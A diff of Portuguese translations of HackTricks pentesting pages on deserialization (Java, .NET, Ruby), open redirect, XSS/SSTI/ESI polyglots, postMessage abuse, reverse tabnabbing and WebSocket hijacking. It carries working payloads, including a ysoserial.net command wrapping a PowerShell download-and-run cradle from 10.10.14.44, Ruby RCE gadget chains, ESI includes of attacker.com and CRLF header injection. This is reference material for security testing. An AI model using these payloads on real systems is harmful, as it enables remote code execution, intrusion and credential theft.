Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e exemplo dessa vulnerabilidade) na seguinte página:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -609,10 +609,10 @@ Existem vários produtos usando esse middleware para enviar mensagens:
|
||||
|
||||
### Exploração
|
||||
|
||||
Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Então, basicamente, há um **monte de serviços usando JMS de maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
||||
Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
||||
|
||||
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
Você deve lembrar que mesmo que um serviço seja vulnerável (porque está desserializando de forma insegura a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
||||
|
||||
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda for vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
||||
|
||||
@ -623,7 +623,7 @@ A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **co
|
||||
|
||||
## .Net
|
||||
|
||||
No contexto do .Net, exploits de desserialização operam de maneira semelhante àqueles encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
|
||||
No contexto do .Net, os exploits de desserialização operam de maneira semelhante àqueles encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
|
||||
|
||||
### Impressão Digital
|
||||
|
||||
@ -650,7 +650,7 @@ As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter
|
||||
|
||||
- **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
||||
- **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
|
||||
- **`--output`** usado para indicar se você quer o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
- **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você obtiver o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (na caixa JSON do HTB, a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
||||
- **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
||||
|
||||
#### Mais parâmetros do ysoserial.net
|
||||
@ -677,7 +677,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** também tem um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||||
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
||||
Se você indicar este parâmetro, **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
|
||||
Este parâmetro é útil porque, se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
@ -705,11 +705,11 @@ return obj;
|
||||
}
|
||||
```
|
||||
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.\
|
||||
Assim, o **`--test`** permite que entendamos **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
||||
Assim, o **`--test`** permite entender **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
||||
|
||||
### ViewState
|
||||
|
||||
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-__viewstate-parameter.md) para **executar código arbitrário.** Se você **já conhece os segredos** usados pela máquina vítima, [**leia este post para saber como executar código**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-__viewstate-parameter.md) para **executar código arbitrário.** Se você **já conhece os segredos** usados pela máquina da vítima, [**leia este post para saber como executar código**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Prevenção
|
||||
|
||||
@ -743,7 +743,7 @@ Para proteger objetos serializados, **Ruby utiliza HMAC (Hash-Based Message Auth
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -818,7 +818,7 @@ Outra cadeia de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/r
|
||||
|
||||
### Método Ruby .send()
|
||||
|
||||
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se algum input não sanitizado de um usuário alcançar o método `.send()` de um objeto ruby, este método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada de usuário não sanitizada alcançar o método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
||||
|
||||
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
|
||||
```ruby
|
||||
@ -853,7 +853,7 @@ Verifique como pode ser possível [poluir uma classe Ruby e abusar dela aqui](ru
|
||||
|
||||
### Poluição _json Ruby
|
||||
|
||||
Ao enviar no corpo alguns valores não hasháveis, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, uma bypass de autorização pode ser realizada.
|
||||
Ao enviar no corpo alguns valores não hasháveis, como um array, eles serão adicionados a uma nova chave chamada `_json`. No entanto, é possível que um atacante também defina no corpo um valor chamado `_json` com os valores arbitrários que desejar. Então, se o backend, por exemplo, verificar a veracidade de um parâmetro, mas também usar o parâmetro `_json` para realizar alguma ação, um bypass de autorização pode ser realizado.
|
||||
|
||||
Verifique mais informações na [página de poluição _json Ruby](ruby-_json-pollution.md).
|
||||
|
||||
@ -863,7 +863,7 @@ Esta técnica foi retirada [**deste post no blog**](https://github.blog/security
|
||||
|
||||
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que podem ser abusadas para obter RCE durante uma desserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são desserializadas (função a ser abusada para obter RCE basicamente):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(map) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Exemplo básico:
|
||||
```ruby
|
||||
|
||||
@ -1,9 +1,9 @@
|
||||
# Open Redirect
|
||||
# Redirecionamento Aberto
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Open redirect
|
||||
## Redirecionamento Aberto
|
||||
|
||||
### Redirecionar para localhost ou domínios arbitrários
|
||||
|
||||
@ -11,7 +11,7 @@
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Redirecionamento aberto para XSS
|
||||
### Redirecionamento Aberto para XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect enviando arquivos svg
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
O objetivo desses PoCs e Polygloths é fornecer ao testador um **resumo** rápido das vulnerabilidades que ele pode explorar se sua **entrada estiver de alguma forma sendo refletida na resposta**.
|
||||
|
||||
> [!WARNING]
|
||||
> Este **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando por testes mais abrangentes, acesse cada vulnerabilidade proposta.
|
||||
> Este **cheatsheet não propõe uma lista abrangente de testes para cada vulnerabilidade**, apenas alguns básicos. Se você está procurando testes mais abrangentes, acesse cada vulnerabilidade proposta.
|
||||
|
||||
> [!CAUTION]
|
||||
> Você **não encontrará injeções dependentes de Content-Type como XXE**, pois geralmente você tentará isso por conta própria se encontrar uma solicitação enviando dados xml. Você **também não encontrará injeções de banco de dados** aqui, pois mesmo que algum conteúdo possa ser refletido, isso depende fortemente da tecnologia e estrutura do banco de dados backend.
|
||||
@ -50,7 +50,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
## [Client Side Template Injection](../client-side-template-injection-csti.md)
|
||||
## [Injeção de Template do Lado do Cliente](../client-side-template-injection-csti.md)
|
||||
|
||||
### Testes Básicos
|
||||
```
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## Dangling Markup
|
||||
|
||||
### Testes Básicos
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
@ -127,17 +127,17 @@ javascript:alert(1)
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
```
|
||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
## [Inclusão do Lado do Servidor/Injeção do Lado da Edge](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Testes Básicos
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ Os mesmos testes usados para Open Redirect podem ser usados aqui.
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Testes Básicos
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -162,24 +162,24 @@ ${{7*7}}
|
||||
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### Testes Básicos
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### Testes Básicos
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Polygloths
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
||||
@ -40,7 +40,7 @@ Se o **curinga** for usado, **as mensagens podem ser enviadas para qualquer dom
|
||||
|
||||
Como explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
|
||||
Note que se a página pode ser iframed, mas o **targetOrigin** está **definido para uma URL e não para um curinga**, esse **truque não funcionará**.
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
Para realizar esses ataques, idealmente você poderá **colocar a página da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
|
||||
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### Roubo de mensagem enviada para o filho bloqueando a página principal
|
||||
|
||||
Na página a seguir, você pode ver como poderia roubar um **sensitive postmessage data** enviado para um **child iframe** bloqueando a **main** página antes de enviar os dados e abusando de um **XSS no filho** para **leak the data** antes que seja recebido:
|
||||
Na página a seguir, você pode ver como poderia roubar dados **sensíveis de postmessage** enviados para um **iframe filho** ao **bloquear** a página **principal** antes de enviar os dados e abusar de um **XSS no filho** para **vazar os dados** antes que sejam recebidos:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### Roubo de mensagem modificando a localização do iframe
|
||||
|
||||
Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **change the location of that child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
|
||||
Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **mudar a localização desse iframe filho**, então, se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **mudar** a **origem** desse iframe para uma página **controlada** por ele e **roubar** a mensagem:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -183,11 +183,11 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage para Poluição de Protótipo e/ou XSS
|
||||
|
||||
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode **iframe** a **page** e **exploit** a **prototype pollution/XSS** enviando o exploit via `postMessage`.
|
||||
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode **iframe** a **página** e **explorar** a **poluição de protótipo/XSS** enviando o exploit via `postMessage`.
|
||||
|
||||
Um par de **very good explained XSS though `postMessage`** pode ser encontrado em [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
Um par de **XSS muito bem explicados através de `postMessage`** pode ser encontrado em [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Exemplo de um exploit para abusar de **Prototype Pollution e então XSS** através de um `postMessage` para um `iframe`:
|
||||
Exemplo de um exploit para abusar da **Poluição de Protótipo e depois XSS** através de um `postMessage` para um `iframe`:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
||||
@ -2,10 +2,10 @@
|
||||
|
||||
# Descrição
|
||||
|
||||
Em uma situação onde um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para um site sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site** **malicioso** será capaz de **controlar** a **página** **original** via o objeto javascript **`window.opener`**.\
|
||||
Em uma situação onde um **atacante** pode **controlar** o argumento **`href`** de uma tag **`<a`** com o atributo **`target="_blank" rel="opener"`** que será clicada por uma vítima, o **atacante** **aponta** este **link** para uma web sob seu controle (um **site** **malicioso**). Então, uma vez que a **vítima clica** no link e acessa o site do atacante, este **site** **malicioso** poderá **controlar** a **página** **original** via o objeto javascript **`window.opener`**.\
|
||||
Se a página não tiver **`rel="opener"` mas contiver `target="_blank"` e também não tiver `rel="noopener"`**, ela também pode ser vulnerável.
|
||||
|
||||
Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para um site controlado pelo atacante que **parece com o original**, para que possa **imitar** o **formulário** de **login** do site original e solicitar credenciais ao usuário.
|
||||
Uma maneira comum de abusar desse comportamento seria **mudar a localização da web original** via `window.opener.location = https://attacker.com/victim.html` para uma web controlada pelo atacante que **parece com a original**, para que possa **imitar** o **formulário** de **login** do site original e pedir credenciais ao usuário.
|
||||
|
||||
No entanto, note que como o **atacante agora pode controlar o objeto window do site original**, ele pode abusar disso de outras maneiras para realizar **ataques mais furtivos** (talvez modificando eventos javascript para exfiltrar informações para um servidor controlado por ele?)
|
||||
|
||||
@ -27,7 +27,7 @@ Link entre páginas pai e filho quando o atributo de prevenção é usado:
|
||||
|
||||
Crie as seguintes páginas em uma pasta e execute um servidor web com `python3 -m http.server`\
|
||||
Então, **acesse** `http://127.0.0.1:8000/`vulnerable.html, **clique** no link e note como a **URL** do **site** **original** **muda**.
|
||||
```markup:vulnerable.html
|
||||
```html:vulnerable.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -37,7 +37,7 @@ Então, **acesse** `http://127.0.0.1:8000/`vulnerable.html, **clique** no link e
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious.html
|
||||
```html:malicious.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
</html>
|
||||
```
|
||||
|
||||
```markup:malicious_redir.html
|
||||
```html:malicious_redir.html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
@ -68,7 +68,7 @@ No cenário em que ocorre um acesso **cross-origin** (acesso entre diferentes do
|
||||
- **`opener.self`**: O acesso à própria janela atual é fornecido por esta propriedade.
|
||||
- **`opener.top`**: Esta propriedade retorna a janela do navegador mais alta.
|
||||
|
||||
No entanto, em instâncias onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
||||
No entanto, em casos onde os domínios são idênticos, o site malicioso ganha acesso a todas as propriedades expostas pela referência do objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
|
||||
|
||||
# Prevenção
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Informações Básicas sobre Server Side Inclusion
|
||||
## Server Side Inclusion Basic Information
|
||||
|
||||
**(Introdução retirada da** [**documentação do Apache**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
|
||||
|
||||
@ -15,7 +15,7 @@ E, quando a página é servida, esse fragmento será avaliado e substituído pel
|
||||
|
||||
`Tuesday, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
A decisão de quando usar SSI e quando ter sua página totalmente gerada por algum programa geralmente é uma questão de quão estática é a página e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como a hora atual - mostrada acima. Mas se a maior parte da sua página está sendo gerada no momento em que é servida, você precisa procurar alguma outra solução.
|
||||
A decisão de quando usar SSI e quando ter sua página totalmente gerada por algum programa geralmente é uma questão de quão estática é a página e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenas informações, como a hora atual - mostrada acima. Mas se a maior parte da sua página está sendo gerada no momento em que é servida, você precisa procurar alguma outra solução.
|
||||
|
||||
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões **`.shtml`, `.shtm` ou `.stm`**, mas não é apenas esse o caso.
|
||||
|
||||
@ -56,8 +56,8 @@ Uma expressão típica de SSI tem o seguinte formato:
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
Há um problema **de cache de informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** na próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que ele seja enviado aos usuários.
|
||||
Há um problema **de cache de informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
|
||||
|
||||
### ESI Detection
|
||||
|
||||
@ -65,7 +65,7 @@ O seguinte **cabeçalho** em uma resposta do servidor significa que o servidor e
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
Se você não conseguir encontrar este cabeçalho, o servidor **pode estar usando ESI de qualquer maneira**.\
|
||||
Se você não conseguir encontrar este cabeçalho, o servidor **pode estar usando ESI de qualquer forma**.\
|
||||
Uma **abordagem de exploração cega também pode ser usada** já que uma solicitação deve chegar ao servidor dos atacantes:
|
||||
```javascript
|
||||
// Basic detection
|
||||
@ -95,7 +95,7 @@ hell<!--esi-->o
|
||||
- **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros XSS
|
||||
- **Cookie**: Cookies do documento são acessíveis ao mecanismo ESI
|
||||
- **Cabeçalhos Upstream Necessários**: Aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
|
||||
- **Lista de Permissão de Hosts**: Neste caso, inclusões ESI são possíveis apenas de hosts de servidor permitidos, tornando SSRF, por exemplo, possível apenas contra esses hosts
|
||||
- **Lista de Permissão de Hosts**: Neste caso, inclusões ESI são possíveis apenas de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
|
||||
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Cabeçalhos Upstream Necessários** | **Lista de Permissão de Hosts** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------: | :-----------------------------: |
|
||||
@ -139,14 +139,14 @@ Use <!--esi--> to bypass WAFs:
|
||||
#### Arquivo Local Privado
|
||||
|
||||
Não confunda isso com uma "Inclusão de Arquivo Local":
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="secret.txt">
|
||||
```
|
||||
#### CRLF
|
||||
```markup
|
||||
```html
|
||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||
```
|
||||
#### Redirecionamento Aberto
|
||||
#### Open Redirect
|
||||
|
||||
O seguinte adicionará um cabeçalho `Location` à resposta
|
||||
```bash
|
||||
|
||||
@ -82,14 +82,14 @@ No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
|
||||
|
||||
**Sequestro de WebSocket entre sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
|
||||
|
||||
Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites para um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
|
||||
Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites com uma aplicação vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com a aplicação, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
|
||||
|
||||
### Ataque Simples
|
||||
|
||||
Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
|
||||
Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** ao servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
|
||||
|
||||
